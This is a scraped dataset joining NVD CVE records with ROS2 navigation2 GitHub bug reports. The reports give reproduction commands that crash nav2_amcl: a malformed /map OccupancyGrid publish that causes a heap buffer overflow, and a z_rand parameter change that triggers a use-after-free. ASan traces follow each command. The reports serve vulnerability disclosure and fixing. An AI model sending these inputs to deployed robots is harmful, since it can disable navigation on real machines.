user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ``` #### Additional information  ---- **simple analysis:** 1> During the shutdown period, a difficult to execute action thread is currently blocking and has received a shutdown signal 2> nav2 starts resource cleaning, and finally nav2_bt_navigator is released as a whole. The destructor releases all the pointers it creates, but the actionServer thread is still executing, resulting in UAF access.

the mechanism defect of `bt_action_server ->on_cleanup()` may lead to UAF

https://api.github.com/repos/ros-navigation/navigation2/issues/4175/comments

8

2024-03-11T15:25:02Z

2024-03-14T17:05:16Z

https://github.com/ros-navigation/navigation2/issues/4175

2,179,426,419

4,175

6,445

CVE-2024-30962

2024-12-05T23:15:05.147

Buffer Overflow vulnerability in Open Robotics Robotic Operating System 2 (ROS2) navigation2- ROS2-humble and navigation 2-humble allows a local attacker to execute arbitrary code via the nav2_amcl process

{ "cvssMetricV2": null, "cvssMetricV30": null, "cvssMetricV31": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "baseScore": 7.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1" }, "exploitabilityScore": 1.8, "impactScore": 5.9, "source": "nvd@nist.gov", "type": "Primary" }, { "cvssData": { "attackComplexity": "LOW", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "baseScore": 7.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1" }, "exploitabilityScore": 1.8, "impactScore": 5.9, "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary" } ], "cvssMetricV40": null }

[ { "source": "cve@mitre.org", "tags": [ "Third Party Advisory" ], "url": "https://github.com/GoesM/ROS-CVE-CNVDs" }, { "source": "cve@mitre.org", "tags": [ "Exploit", "Issue Tracking" ], "url": "https://github.com/ros-planning/navigation2/issues/4177" }, { "source": "cve@mitre.org", "tags": [ "Third Party Advisory" ], "url": "https://github.com/ros-planning/navigation2/pull/4206" } ]

[ { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:a:openrobotics:robot_operating_system:2:humble:*:*:*:*:*:*", "matchCriteriaId": "0ADE698F-A518-4691-A7FA-2DEE8C079361", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true }, { "criteria": "cpe:2.3:a:openrobotics:robot_operating_system:2:iron:*:*:*:*:*:*", "matchCriteriaId": "D710838C-3A7E-4BFA-BD6D-02C38627BB7E", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null } ]

[ "120" ]

120

https://github.com/ros-planning/navigation2/issues/4177

[ "Exploit", "Issue Tracking" ]

github.com

[ "ros-planning", "navigation2" ]

## Bug report **Required Info:** - Operating System: -  Ubuntu22.04 - ROS2 Version: -  humble - Version or commit hash: -  the latest - DDS implementation: -  defaulted #### Steps to reproduce issue  Launch the navigation2 normally, as following steps: ```sh #!/bin/bash export ASAN_OPTIONS=halt_on_error=0:new_delete_type_mismatch=0:detect_leaks=0:log_pah=asan source install/setup.bash export TURTLEBOT3_MODEL=waffle export GAZEBO_MODEL_PATH=$GAZEBO_MODEL_PATH:/opt/ros/humble/share/turtlebot3_gazebo/models ros2 launch nav2_bringup tb3_simulation_launch.py headless:=True use_rviz:=False use_composition:=False ``` Curious about how nav2 face to topic-interception, i keep sending demaged `/map` msg onto topic `/map`, which is like this: ```sh ros2 topic pub /map nav_msgs/msg/OccupancyGrid " header: stamp: sec: 0 nanosec: 0 frame_id: map info: map_load_time: sec: 0 nanosec: 0 resolution: 0.05000000074505806 width: 384 height: 384 origin: position: x: -10.0 y: -10.0 z: 0.0 orientation: x: 0.0 y: 0.0 z: 0.0 w: 1.0 data: [-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1] " ``` [notice] the real length of data is less than width*height then, the asan report would occur. #### Expected behavior #### Actual behavior The ASAN reporting a **buffer-overflow** bug to me, as following: ``` ================================================================= ==14154==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6210000667f5 at pc 0x7b380c985c4a bp 0x7ffdb96543c0 sp 0x7ffdb96543b8 READ of size 1 at 0x6210000667f5 thread T0 #0 0x7b380c985c49 in nav2_amcl::AmclNode::convertMap(nav_msgs::msg::OccupancyGrid_<std::allocator<void> > const&) (/***/nav2_humble/install/nav2_amcl/lib/libamcl_core.so+0x385c49) (BuildId: 093c184d6356ee01ad4bd31576c7ab18775c096d) #1 0x7b380c984f77 in nav2_amcl::AmclNode::handleMapMessage(nav_msgs::msg::OccupancyGrid_<std::allocator<void> > const&) (/***/nav2_humble/install/nav2_amcl/lib/libamcl_core.so+0x384f77) (BuildId: 093c184d6356ee01ad4bd31576c7ab18775c096d) #2 0x7b380c984477 in nav2_amcl::AmclNode::mapReceived(std::shared_ptr<nav_msgs::msg::OccupancyGrid_<std::allocator<void> > >) (/***/nav2_humble/install/nav2_amcl/lib/libamcl_core.so+0x384477) (BuildId: 093c184d6356ee01ad4bd31576c7ab18775c096d) #3 0x7b380ca7ea3e in void std::__invoke_impl<void, void (nav2_amcl::AmclNode::*&)(std::shared_ptr<nav_msgs::msg::OccupancyGrid_<std::allocator<void> > >), nav2_amcl::AmclNode*&, std::shared_ptr<nav_msgs::msg::OccupancyGrid_<std::allocator<void> > > >(std::__invoke_memfun_deref, void (nav2_amcl::AmclNode::*&)(std::shared_ptr<nav_msgs::msg::OccupancyGrid_<std::allocator<void> > >), nav2_amcl::AmclNode*&, std::shared_ptr<nav_msgs::msg::OccupancyGrid_<std::allocator<void> > >&&) (/***/nav2_humble/install/nav2_amcl/lib/libamcl_core.so+0x47ea3e) (BuildId: 093c184d6356ee01ad4bd31576c7ab18775c096d) #4 0x7b380cac79b2 in auto rclcpp::AnySubscriptionCallback<nav_msgs::msg::OccupancyGrid_<std::allocator<void> >, std::allocator<void> >::dispatch(std::shared_ptr<nav_msgs::msg::OccupancyGrid_<std::allocator<void> > >, rclcpp::MessageInfo const&)::'lambda'(auto&&)::operator()<std::function<void (std::shared_ptr<nav_msgs::msg::OccupancyGrid_<std::allocator<void> > >)>&>(auto&&) const (/***/nav2_humble/install/nav2_amcl/lib/libamcl_core.so+0x4c79b2) (BuildId: 093c184d6356ee01ad4bd31576c7ab18775c096d) #5 0x7b380cac489b in rclcpp::AnySubscriptionCallback<nav_msgs::msg::OccupancyGrid_<std::allocator<void> >, std::allocator<void> >::dispatch(std::shared_ptr<nav_msgs::msg::OccupancyGrid_<std::allocator<void> > >, rclcpp::MessageInfo const&) (/***/nav2_humble/install/nav2_amcl/lib/libamcl_core.so+0x4c489b) (BuildId: 093c184d6356ee01ad4bd31576c7ab18775c096d) #6 0x7b380ca8acac in rclcpp::Subscription<nav_msgs::msg::OccupancyGrid_<std::allocator<void> >, std::allocator<void>, nav_msgs::msg::OccupancyGrid_<std::allocator<void> >, nav_msgs::msg::OccupancyGrid_<std::allocator<void> >, rclcpp::message_memory_strategy::MessageMemoryStrategy<nav_msgs::msg::OccupancyGrid_<std::allocator<void> >, std::allocator<void> > >::handle_message(std::shared_ptr<void>&, rclcpp::MessageInfo const&) (/***/nav2_humble/install/nav2_amcl/lib/libamcl_core.so+0x48acac) (BuildId: 093c184d6356ee01ad4bd31576c7ab18775c096d) #7 0x7b380d97d7bb in rclcpp::Executor::execute_subscription(std::shared_ptr<rclcpp::SubscriptionBase>) (/opt/ros/humble/lib/librclcpp.so+0xe77bb) (BuildId: 4cca8a387f3c93d38a0567a8efc7cba9106f5d9a) #8 0x7b380d97dfbe in rclcpp::Executor::execute_any_executable(rclcpp::AnyExecutable&) (/opt/ros/humble/lib/librclcpp.so+0xe7fbe) (BuildId: 4cca8a387f3c93d38a0567a8efc7cba9106f5d9a) #9 0x7b380d9858af in rclcpp::executors::SingleThreadedExecutor::spin() (/opt/ros/humble/lib/librclcpp.so+0xef8af) (BuildId: 4cca8a387f3c93d38a0567a8efc7cba9106f5d9a) #10 0x7b380d985ac4 in rclcpp::spin(std::shared_ptr<rclcpp::node_interfaces::NodeBaseInterface>) (/opt/ros/humble/lib/librclcpp.so+0xefac4) (BuildId: 4cca8a387f3c93d38a0567a8efc7cba9106f5d9a) #11 0x5cf6d6474975 in main (/***/nav2_humble/install/nav2_amcl/lib/nav2_amcl/amcl+0xeb975) (BuildId: 9cab2dfb4fd0f7edff9ad0c4896458037daa0009) #12 0x7b380bc29d8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16 #13 0x7b380bc29e3f in __libc_start_main csu/../csu/libc-start.c:392:3 #14 0x5cf6d63b4514 in _start (/***/nav2_humble/install/nav2_amcl/lib/nav2_amcl/amcl+0x2b514) (BuildId: 9cab2dfb4fd0f7edff9ad0c4896458037daa0009) 0x6210000667f5 is located 0 bytes to the right of 4853-byte region [0x621000065500,0x6210000667f5) allocated by thread T0 here: #0 0x5cf6d647212d in operator new(unsigned long) (/***/nav2_humble/install/nav2_amcl/lib/nav2_amcl/amcl+0xe912d) (BuildId: 9cab2dfb4fd0f7edff9ad0c4896458037daa0009) #1 0x7b380dc73fb9 in nav_msgs::msg::typesupport_fastrtps_cpp::cdr_deserialize(eprosima::fastcdr::Cdr&, nav_msgs::msg::OccupancyGrid_<std::allocator<void> >&) (/opt/ros/humble/lib/libnav_msgs__rosidl_typesupport_fastrtps_cpp.so+0x8fb9) (BuildId: d9989f748e1c94c608a4bedd7dfd0f7db1970877) #2 0x7f0000000000 (<unknown module>) SUMMARY: AddressSanitizer: heap-buffer-overflow (/***/nav2_humble/install/nav2_amcl/lib/libamcl_core.so+0x385c49) (BuildId: 093c184d6356ee01ad4bd31576c7ab18775c096d) in nav2_amcl::AmclNode::convertMap(nav_msgs::msg::OccupancyGrid_<std::allocator<void> > const&) Shadow bytes around the buggy address: 0x0c4280004ca0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c4280004cb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c4280004cc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c4280004cd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c4280004ce0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x0c4280004cf0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00[05]fa 0x0c4280004d00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c4280004d10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c4280004d20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c4280004d30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c4280004d40: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==14154==ABORTING ``` #### Additional information  ---- **code analysis:** in function `AmclNode::convertMap()` the `for` use the `size_x*size_y` as the boundary of the vector `map_msg.data` ```cpp // Convert to player format for (int i = 0; i < map->size_x * map->size_y; i++) { if (map_msg.data[i] == 0) { map->cells[i].occ_state = -1; } else if (map_msg.data[i] == 100) { map->cells[i].occ_state = +1; } else { map->cells[i].occ_state = 0; } } ``` however, the real length of the vector `map_msg.data` is up to the user's command which may be less than `size_x*size_y` thus, it would bring a buffer-overflow because out of the boundary of the vector.

Validate messages in subscription callbacks for critical error in population

https://api.github.com/repos/ros-navigation/navigation2/issues/4177/comments

6

2024-03-12T16:04:46Z

2024-05-02T14:30:43Z

https://github.com/ros-navigation/navigation2/issues/4177

2,182,048,705

4,177

6,446

CVE-2024-38921

2024-12-06T22:15:19.600

Open Robotics Robotic Operating System 2 (ROS2) and Nav2 humble versions were discovered to contain a use-after-free via the nav2_amcl process. This vulnerability is triggered via remotely sending a request for change the value of dynamic-parameter`/amcl z_rand ` .

{ "cvssMetricV2": null, "cvssMetricV30": null, "cvssMetricV31": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 9.8, "baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1" }, "exploitabilityScore": 3.9, "impactScore": 5.9, "source": "nvd@nist.gov", "type": "Primary" }, { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 9.8, "baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1" }, "exploitabilityScore": 3.9, "impactScore": 5.9, "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary" } ], "cvssMetricV40": null }

[ { "source": "cve@mitre.org", "tags": [ "Third Party Advisory" ], "url": "https://github.com/GoesM/ROS-CVE-CNVDs" }, { "source": "cve@mitre.org", "tags": [ "Exploit", "Issue Tracking" ], "url": "https://github.com/ros-navigation/navigation2/issues/4379" }, { "source": "cve@mitre.org", "tags": [ "Third Party Advisory" ], "url": "https://github.com/ros-navigation/navigation2/pull/4397" }, { "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": [ "Third Party Advisory" ], "url": "https://github.com/GoesM/ROS-CVE-CNVDs" } ]

[ { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:a:openrobotics:robot_operating_system:2:humble:*:*:*:*:*:*", "matchCriteriaId": "0ADE698F-A518-4691-A7FA-2DEE8C079361", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true }, { "criteria": "cpe:2.3:a:openrobotics:robot_operating_system:2:iron:*:*:*:*:*:*", "matchCriteriaId": "D710838C-3A7E-4BFA-BD6D-02C38627BB7E", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null } ]

[ "416" ]

416

https://github.com/ros-navigation/navigation2/issues/4379

[ "Exploit", "Issue Tracking" ]

github.com

[ "ros-navigation", "navigation2" ]

## Bug report **Required Info:** - Operating System: -  Ubuntu22.04 - ROS2 Version: -  humble - Version or commit hash: -  the latest - DDS implementation: -  defaulted #### Steps to reproduce issue  Launch the navigation2 normally, as following steps: ```sh #!/bin/bash export ASAN_OPTIONS=halt_on_error=0:new_delete_type_mismatch=0:detect_leaks=0:log_pah=asan source install/setup.bash export TURTLEBOT3_MODEL=waffle export GAZEBO_MODEL_PATH=$GAZEBO_MODEL_PATH:/opt/ros/humble/share/turtlebot3_gazebo/models ros2 launch nav2_bringup tb3_simulation_launch.py headless:=True use_rviz:=False use_composition:=False ``` Learning about how the dynamic-parameter works , I had a try on it . ```sh ros2 param set /amcl z_rand 0.5 ``` [notice] whatever the value be (0.5 or anyother double value43) , the UAF occurs all the time. #### Expected behavior no crash occurs #### Actual behavior The ASAN reporting a **heap-user-after-free** bug to me as following, and the `nav2_amcl` stop its work. ``` ================================================================= ==145868==ERROR: AddressSanitizer: heap-use-after-free on address 0x6170000aaab0 at pc 0x730fff32b5a4 bp 0x7fff30eba470 sp 0x7fff30eba468 READ of size 8 at 0x6170000aaab0 thread T0 #0 0x730fff32b5a3 in message_filters::Signal1<sensor_msgs::msg::LaserScan_<std::allocator<void> > >::removeCallback(std::shared_ptr<message_filters::CallbackHelper1<sensor_msgs::msg::LaserScan_<std::allocator<void> > > > const&) (/home/***/nav2_humble/install/nav2_amcl/lib/libamcl_core.so+0x52b5a3) (BuildId: e96a3822dfb41386b5409b544e4bc74088297548) #1 0x730fff32e80a in std::_Function_handler<void (), std::_Bind<void (message_filters::Signal1<sensor_msgs::msg::LaserScan_<std::allocator<void> > >::* (message_filters::Signal1<sensor_msgs::msg::LaserScan_<std::allocator<void> > >*, std::shared_ptr<message_filters::CallbackHelper1<sensor_msgs::msg::LaserScan_<std::allocator<void> > > >))(std::shared_ptr<message_filters::CallbackHelper1<sensor_msgs::msg::LaserScan_<std::allocator<void> > > > const&)> >::_M_invoke(std::_Any_data const&) (/home/***/nav2_humble/install/nav2_amcl/lib/libamcl_core.so+0x52e80a) (BuildId: e96a3822dfb41386b5409b544e4bc74088297548) #2 0x730fff3273c0 in tf2_ros::MessageFilter<sensor_msgs::msg::LaserScan_<std::allocator<void> >, tf2_ros::Buffer>::~MessageFilter() (/home/***/nav2_humble/install/nav2_amcl/lib/libamcl_core.so+0x5273c0) (BuildId: e96a3822dfb41386b5409b544e4bc74088297548) #3 0x730fff3281c0 in tf2_ros::MessageFilter<sensor_msgs::msg::LaserScan_<std::allocator<void> >, tf2_ros::Buffer>::~MessageFilter() (/home/***/nav2_humble/install/nav2_amcl/lib/libamcl_core.so+0x5281c0) (BuildId: e96a3822dfb41386b5409b544e4bc74088297548) #4 0x730fff1c36e4 in std::__uniq_ptr_impl<tf2_ros::MessageFilter<sensor_msgs::msg::LaserScan_<std::allocator<void> >, tf2_ros::Buffer>, std::default_delete<tf2_ros::MessageFilter<sensor_msgs::msg::LaserScan_<std::allocator<void> >, tf2_ros::Buffer> > >::reset(tf2_ros::MessageFilter<sensor_msgs::msg::LaserScan_<std::allocator<void> >, tf2_ros::Buffer>*) (/home/***/nav2_humble/install/nav2_amcl/lib/libamcl_core.so+0x3c36e4) (BuildId: e96a3822dfb41386b5409b544e4bc74088297548) #5 0x730fff156ee9 in nav2_amcl::AmclNode::initMessageFilters() (/home/***/nav2_humble/install/nav2_amcl/lib/libamcl_core.so+0x356ee9) (BuildId: e96a3822dfb41386b5409b544e4bc74088297548) #6 0x730fff163f1e in nav2_amcl::AmclNode::dynamicParametersCallback(std::vector<rclcpp::Parameter, std::allocator<rclcpp::Parameter> >) (/home/***/nav2_humble/install/nav2_amcl/lib/libamcl_core.so+0x363f1e) (BuildId: e96a3822dfb41386b5409b544e4bc74088297548) #7 0x730fff23743e in std::__invoke_result<rcl_interfaces::msg::SetParametersResult_<std::allocator<void> > (nav2_amcl::AmclNode::*&)(std::vector<rclcpp::Parameter, std::allocator<rclcpp::Parameter> >), nav2_amcl::AmclNode*&, std::vector<rclcpp::Parameter, std::allocator<rclcpp::Parameter> > const&>::type std::__invoke<rcl_interfaces::msg::SetParametersResult_<std::allocator<void> > (nav2_amcl::AmclNode::*&)(std::vector<rclcpp::Parameter, std::allocator<rclcpp::Parameter> >), nav2_amcl::AmclNode*&, std::vector<rclcpp::Parameter, std::allocator<rclcpp::Parameter> > const&>(rcl_interfaces::msg::SetParametersResult_<std::allocator<void> > (nav2_amcl::AmclNode::*&)(std::vector<rclcpp::Parameter, std::allocator<rclcpp::Parameter> >), nav2_amcl::AmclNode*&, std::vector<rclcpp::Parameter, std::allocator<rclcpp::Parameter> > const&) (/home/***/nav2_humble/install/nav2_amcl/lib/libamcl_core.so+0x43743e) (BuildId: e96a3822dfb41386b5409b544e4bc74088297548) #8 0x730fff2372a1 in rcl_interfaces::msg::SetParametersResult_<std::allocator<void> > std::__invoke_impl<rcl_interfaces::msg::SetParametersResult_<std::allocator<void> >, std::_Bind<rcl_interfaces::msg::SetParametersResult_<std::allocator<void> > (nav2_amcl::AmclNode::* (nav2_amcl::AmclNode*, std::_Placeholder<1>))(std::vector<rclcpp::Parameter, std::allocator<rclcpp::Parameter> >)>&, std::vector<rclcpp::Parameter, std::allocator<rclcpp::Parameter> > const&>(std::__invoke_other, std::_Bind<rcl_interfaces::msg::SetParametersResult_<std::allocator<void> > (nav2_amcl::AmclNode::* (nav2_amcl::AmclNode*, std::_Placeholder<1>))(std::vector<rclcpp::Parameter, std::allocator<rclcpp::Parameter> >)>&, std::vector<rclcpp::Parameter, std::allocator<rclcpp::Parameter> > const&) (/home/***/nav2_humble/install/nav2_amcl/lib/libamcl_core.so+0x4372a1) (BuildId: e96a3822dfb41386b5409b544e4bc74088297548) #9 0x730fff2370d3 in std::_Function_handler<rcl_interfaces::msg::SetParametersResult_<std::allocator<void> > (std::vector<rclcpp::Parameter, std::allocator<rclcpp::Parameter> > const&), std::_Bind<rcl_interfaces::msg::SetParametersResult_<std::allocator<void> > (nav2_amcl::AmclNode::* (nav2_amcl::AmclNode*, std::_Placeholder<1>))(std::vector<rclcpp::Parameter, std::allocator<rclcpp::Parameter> >)> >::_M_invoke(std::_Any_data const&, std::vector<rclcpp::Parameter, std::allocator<rclcpp::Parameter> > const&) (/home/***/nav2_humble/install/nav2_amcl/lib/libamcl_core.so+0x4370d3) (BuildId: e96a3822dfb41386b5409b544e4bc74088297548) #10 0x7310002601a1 (/opt/ros/humble/lib/librclcpp.so+0x10e1a1) (BuildId: 4cca8a387f3c93d38a0567a8efc7cba9106f5d9a) #11 0x731000264cd1 in rclcpp::node_interfaces::NodeParameters::set_parameters_atomically(std::vector<rclcpp::Parameter, std::allocator<rclcpp::Parameter> > const&) (/opt/ros/humble/lib/librclcpp.so+0x112cd1) (BuildId: 4cca8a387f3c93d38a0567a8efc7cba9106f5d9a) #12 0x7310002ddafc (/opt/ros/humble/lib/librclcpp.so+0x18bafc) (BuildId: 4cca8a387f3c93d38a0567a8efc7cba9106f5d9a) #13 0x73100029b107 (/opt/ros/humble/lib/librclcpp.so+0x149107) (BuildId: 4cca8a387f3c93d38a0567a8efc7cba9106f5d9a) #14 0x7310002a96ae (/opt/ros/humble/lib/librclcpp.so+0x1576ae) (BuildId: 4cca8a387f3c93d38a0567a8efc7cba9106f5d9a) #15 0x73100023c2a5 (/opt/ros/humble/lib/librclcpp.so+0xea2a5) (BuildId: 4cca8a387f3c93d38a0567a8efc7cba9106f5d9a) #16 0x731000239c89 in rclcpp::Executor::execute_service(std::shared_ptr<rclcpp::ServiceBase>) (/opt/ros/humble/lib/librclcpp.so+0xe7c89) (BuildId: 4cca8a387f3c93d38a0567a8efc7cba9106f5d9a) #17 0x731000239ff5 in rclcpp::Executor::execute_any_executable(rclcpp::AnyExecutable&) (/opt/ros/humble/lib/librclcpp.so+0xe7ff5) (BuildId: 4cca8a387f3c93d38a0567a8efc7cba9106f5d9a) #18 0x7310002418af in rclcpp::executors::SingleThreadedExecutor::spin() (/opt/ros/humble/lib/librclcpp.so+0xef8af) (BuildId: 4cca8a387f3c93d38a0567a8efc7cba9106f5d9a) #19 0x731000241ac4 in rclcpp::spin(std::shared_ptr<rclcpp::node_interfaces::NodeBaseInterface>) (/opt/ros/humble/lib/librclcpp.so+0xefac4) (BuildId: 4cca8a387f3c93d38a0567a8efc7cba9106f5d9a) #20 0x5e3a5905f941 in main (/home/***/nav2_humble/install/nav2_amcl/lib/nav2_amcl/amcl+0xe6941) (BuildId: 068ea3ea0211b05161e789e94dd1668c91ef8430) #21 0x730ffe429d8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16 #22 0x730ffe429e3f in __libc_start_main csu/../csu/libc-start.c:392:3 #23 0x5e3a58f9f504 in _start (/home/***/nav2_humble/install/nav2_amcl/lib/nav2_amcl/amcl+0x26504) (BuildId: 068ea3ea0211b05161e789e94dd1668c91ef8430) 0x6170000aaab0 is located 48 bytes inside of 680-byte region [0x6170000aaa80,0x6170000aad28) freed by thread T0 here: #0 0x5e3a5905d97d in operator delete(void*) (/home/***/nav2_humble/install/nav2_amcl/lib/nav2_amcl/amcl+0xe497d) (BuildId: 068ea3ea0211b05161e789e94dd1668c91ef8430) #1 0x730fff1c3594 in std::__uniq_ptr_impl<message_filters::Subscriber<sensor_msgs::msg::LaserScan_<std::allocator<void> >, rclcpp_lifecycle::LifecycleNode>, std::default_delete<message_filters::Subscriber<sensor_msgs::msg::LaserScan_<std::allocator<void> >, rclcpp_lifecycle::LifecycleNode> > >::reset(message_filters::Subscriber<sensor_msgs::msg::LaserScan_<std::allocator<void> >, rclcpp_lifecycle::LifecycleNode>*) (/home/***/nav2_humble/install/nav2_amcl/lib/libamcl_core.so+0x3c3594) (BuildId: e96a3822dfb41386b5409b544e4bc74088297548) #2 0x730fff23743e in std::__invoke_result<rcl_interfaces::msg::SetParametersResult_<std::allocator<void> > (nav2_amcl::AmclNode::*&)(std::vector<rclcpp::Parameter, std::allocator<rclcpp::Parameter> >), nav2_amcl::AmclNode*&, std::vector<rclcpp::Parameter, std::allocator<rclcpp::Parameter> > const&>::type std::__invoke<rcl_interfaces::msg::SetParametersResult_<std::allocator<void> > (nav2_amcl::AmclNode::*&)(std::vector<rclcpp::Parameter, std::allocator<rclcpp::Parameter> >), nav2_amcl::AmclNode*&, std::vector<rclcpp::Parameter, std::allocator<rclcpp::Parameter> > const&>(rcl_interfaces::msg::SetParametersResult_<std::allocator<void> > (nav2_amcl::AmclNode::*&)(std::vector<rclcpp::Parameter, std::allocator<rclcpp::Parameter> >), nav2_amcl::AmclNode*&, std::vector<rclcpp::Parameter, std::allocator<rclcpp::Parameter> > const&) (/home/***/nav2_humble/install/nav2_amcl/lib/libamcl_core.so+0x43743e) (BuildId: e96a3822dfb41386b5409b544e4bc74088297548) #3 0x730fff2372a1 in rcl_interfaces::msg::SetParametersResult_<std::allocator<void> > std::__invoke_impl<rcl_interfaces::msg::SetParametersResult_<std::allocator<void> >, std::_Bind<rcl_interfaces::msg::SetParametersResult_<std::allocator<void> > (nav2_amcl::AmclNode::* (nav2_amcl::AmclNode*, std::_Placeholder<1>))(std::vector<rclcpp::Parameter, std::allocator<rclcpp::Parameter> >)>&, std::vector<rclcpp::Parameter, std::allocator<rclcpp::Parameter> > const&>(std::__invoke_other, std::_Bind<rcl_interfaces::msg::SetParametersResult_<std::allocator<void> > (nav2_amcl::AmclNode::* (nav2_amcl::AmclNode*, std::_Placeholder<1>))(std::vector<rclcpp::Parameter, std::allocator<rclcpp::Parameter> >)>&, std::vector<rclcpp::Parameter, std::allocator<rclcpp::Parameter> > const&) (/home/***/nav2_humble/install/nav2_amcl/lib/libamcl_core.so+0x4372a1) (BuildId: e96a3822dfb41386b5409b544e4bc74088297548) previously allocated by thread T0 here: #0 0x5e3a5905d11d in operator new(unsigned long) (/home/***/nav2_humble/install/nav2_amcl/lib/nav2_amcl/amcl+0xe411d) (BuildId: 068ea3ea0211b05161e789e94dd1668c91ef8430) #1 0x730fff1bb3cf in std::__detail::_MakeUniq<message_filters::Subscriber<sensor_msgs::msg::LaserScan_<std::allocator<void> >, rclcpp_lifecycle::LifecycleNode> >::__single_object std::make_unique<message_filters::Subscriber<sensor_msgs::msg::LaserScan_<std::allocator<void> >, rclcpp_lifecycle::LifecycleNode>, std::shared_ptr<nav2_util::LifecycleNode>, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >&, rmw_qos_profile_s const&, rclcpp::SubscriptionOptionsWithAllocator<std::allocator<void> >&>(std::shared_ptr<nav2_util::LifecycleNode>&&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >&, rmw_qos_profile_s const&, rclcpp::SubscriptionOptionsWithAllocator<std::allocator<void> >&) (/home/***/nav2_humble/install/nav2_amcl/lib/libamcl_core.so+0x3bb3cf) (BuildId: e96a3822dfb41386b5409b544e4bc74088297548) #2 0x730fff156acd in nav2_amcl::AmclNode::initMessageFilters() (/home/***/nav2_humble/install/nav2_amcl/lib/libamcl_core.so+0x356acd) (BuildId: e96a3822dfb41386b5409b544e4bc74088297548) #3 0x730fff14c01e in nav2_amcl::AmclNode::on_configure(rclcpp_lifecycle::State const&) (/home/***/nav2_humble/install/nav2_amcl/lib/libamcl_core.so+0x34c01e) (BuildId: e96a3822dfb41386b5409b544e4bc74088297548) #4 0x731000135b8c (/opt/ros/humble/lib/librclcpp_lifecycle.so+0x28b8c) (BuildId: e9b8e454bf87aaab775667b79aefcab12c018de9) SUMMARY: AddressSanitizer: heap-use-after-free (/home/***/nav2_humble/install/nav2_amcl/lib/libamcl_core.so+0x52b5a3) (BuildId: e96a3822dfb41386b5409b544e4bc74088297548) in message_filters::Signal1<sensor_msgs::msg::LaserScan_<std::allocator<void> > 